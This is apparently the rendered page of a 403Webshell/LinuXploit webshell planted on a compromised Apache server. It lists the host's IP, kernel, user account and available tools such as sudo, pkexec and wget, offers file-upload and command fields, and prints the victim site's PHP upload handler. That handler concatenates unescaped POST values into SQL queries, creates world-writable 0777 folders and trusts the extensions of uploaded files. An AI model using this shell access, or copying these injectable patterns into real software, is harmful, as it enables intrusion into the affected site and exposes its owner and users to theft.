403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/store.tiacyrusxxx.com/public_html/dev/model_admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/store.tiacyrusxxx.com/public_html/dev/model_admin/functions_ajax.php
<?php

	$skip_header = TRUE;

	include ('../config.php');
	dbConn();

	function getIncrement($directory, $filename) {

		$lastIncrement_sql = mysql_query("SELECT * FROM `cms_content` WHERE `directory` = '" . $directory . '/' . $filename . "'");

		if (mysql_num_rows($lastIncrement_sql) == 1) {

			$lastIncrement = mysql_fetch_object($lastIncrement_sql);
			return $lastIncrement->num_photos + 1;

		} else {
			return 1;
		}

	}

	function getFolderIncrement($directory, $filename) {

		if (isset($directory) && isset($filename)) {

			$dirCount = 1;

			while ($dirCount < 50) {

				if ($dirCount < 10) {
					$dirCount = '0' . $dirCount;
				}

				$imageDirectory = '../../../content/models/' . $directory . '/' . $filename . $dirCount;

				if (!is_dir($imageDirectory)) {
					return $dirCount;
				}

				$dirCount++;

			}
		}

		return '01';

	}

	function uploadImage($directory, $filename) {

		include_once '../class.upload.php';
		$foo = new upload($_FILES['file']['tmp_name']);

		if ($foo->uploaded)  {

			$filenameFolder = $filename;

			// $increment = getIncrement($directory, $filenameFolder);
			$filename = $filename . "-" . uniqid();

			$foo->file_new_name_body = $filename;
			$foo->image_resize = true;
			$foo->image_x = 141;
			$foo->image_y = 212;
			$foo->image_ratio = true;
			$foo->image_convert = 'jpg';
			$foo->file_new_name_ext = 'jpg';
			$foo->jpeg_quality = 90;
			$foo->dir_chmod = 0777;
			$foo->Process('../content/models/' . $directory . '/' . $filenameFolder . '/tn/');

			if ($foo->processed) {

				$foo->file_new_name_body = $filename;
				$foo->image_convert = 'jpg';
				$foo->file_new_name_ext = 'jpg';
				$foo->jpeg_quality = 90;
				$foo->Process('../../../content/models/' . $directory . '/' . $filenameFolder);

				if ($foo->processed) {

					mysql_query("UPDATE `cms_content` SET `num_photos` = `num_photos` + 1 WHERE `directory` = '" . $directory . '/' . $filenameFolder . "'");

					return TRUE;

				} else {
					return FALSE;
				}
			} else {
				return FALSE;
			}
		} else {
			return FALSE;
		}

   	}


	function uploadArchive($directory, $filename) {

		include_once '../class.upload.php';
		$foo = new upload($_FILES['file']['tmp_name']);

		if ($foo->uploaded)  {

			$foo->file_new_name_body = $filename;
			$foo->file_auto_rename = FALSE;
			$foo->file_overwrite = TRUE;
			$foo->dir_chmod = 0777;

			if (pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION) == "rar") {
				$foo->file_new_name_ext = 'rar';
			} else {
				$foo->file_new_name_ext = 'zip';
			}

			$foo->Process('../../../content/models/' . $directory . '/' . $filename);

			if ($foo->processed) {
				return TRUE;
			} else {
				return FALSE;
			}
		} else {
			return FALSE;
		}

	}

	function uploadVideo($directory, $filename) {

		include_once '../class.upload.php';
		$foo = new upload($_FILES['file']['tmp_name']);

		if ($foo->uploaded)  {

			$foo->file_new_name_body = $filename;
			$foo->file_auto_rename = FALSE;
			$foo->file_overwrite = TRUE;
			$foo->file_new_name_ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);

			$foo->Process('../../../content/models/' . $directory . '/' . $filename);

			if ($foo->processed) {
				return TRUE;
			} else {
				return FALSE;
			}
		} else {
			return FALSE;
		}

	}

	if (isset($_POST['type'])) {

		if (($_POST['type'] == "createFolder" || $_POST['type'] == "generateFolder") && isset($_POST['modelNumbers']) && isset($_POST['creationDate']) && isset($_POST['content_type'])) {

			$creationDate = filter_var($_POST['creationDate'], FILTER_SANITIZE_STRING);

			if ($_POST['modelNumbers'] != "") {

				$modelNames = '';

				$model_names_sql = mysql_query("SELECT `name` FROM `cms_models` WHERE model_id IN (" . $_POST['modelNumbers'] . ")") or die(mysql_error());

				if (mysql_num_rows($model_names_sql) > 0) {

					while ($model_names = mysql_fetch_object($model_names_sql)) {

						$modelName = str_replace(" ", "-", $model_names->name);

						if (isset($modelNames) && $modelNames != "") {
							$modelNames .= '-';
						}

						$modelNames .= strtolower($modelName);

					}
				}

				if ($_POST['content_type'] == 1) {
					$contentType = 'p';
				} elseif ($_POST['content_type'] == 2) {
					$contentType = 'v';
				} else {
					$contentType = 'o';
				}

				$directory = $modelNames;
				$filename = $modelNames . '-' . $creationDate . '-' . $contentType;
				$filename .= getFolderIncrement($directory, $filename);

				if ($_POST['type'] == "createFolder") {
					mkdir('../../../content/models/' . $directory . '/' . $filename, 0755, true);
				}

				echo $directory . '/' . $filename;
				exit;

			}

		}
	}

	if (isset($_POST['uniqid']) && isset($_POST['dropzoneFolder']) && $_POST['dropzoneFolder'] != "") {

		$uploadSuccess = FALSE;

		$dropzoneFolder = filter_var($_POST['dropzoneFolder'], FILTER_SANITIZE_STRING);
		$directorySplit = explode("/", $dropzoneFolder);

		if (isset($directorySplit[0]) && isset($directorySplit[1])) {
			$directory = $directorySplit[0];
			$filename = $directorySplit[1];
		}

		if (isset($directory) && isset($filename) && $directory != "" && $filename != "") {

			$bytes = file_get_contents($_FILES['file']['tmp_name'], FALSE, NULL, 0, 7);
			$ext = strtolower(substr($_FILES['file']['name'], - 4));
			$finfo = finfo_open(FILEINFO_MIME_TYPE);
			$fileMime = finfo_file($finfo, $_FILES['file']['tmp_name']);
			finfo_close($finfo);

			if (($ext == '.rar' && bin2hex($bytes) == '526172211a0700') || ($ext == '.zip' && substr($bytes, 0, 2) == 'PK')) {

				$uploadSuccess = uploadArchive($directory, $filename);

			} elseif (isset($fileMime)) {

				if ($fileMime == 'image/gif' || $fileMime == 'image/jpg' || $fileMime == 'image/jpeg' || $fileMime == 'image/png') {

					$uploadSuccess = uploadImage($directory, $filename);

				} elseif ($fileMime == 'video/mp4' || $fileMime == 'video/quicktime' || $fileMime == 'video/x-msvideo' || $fileMime == 'video/x-ms-wmv' || $fileMime == 'video/x-flv' || $fileMime == 'video/webm') {

					$uploadSuccess = uploadVideo($directory, $filename);

				}
			}
		}

		if ($uploadSuccess == FALSE) {
			header("HTTP/1.0 404 Not Found");
		}

	}

Youez - 2016 - github.com/yon3zu
LinuXploit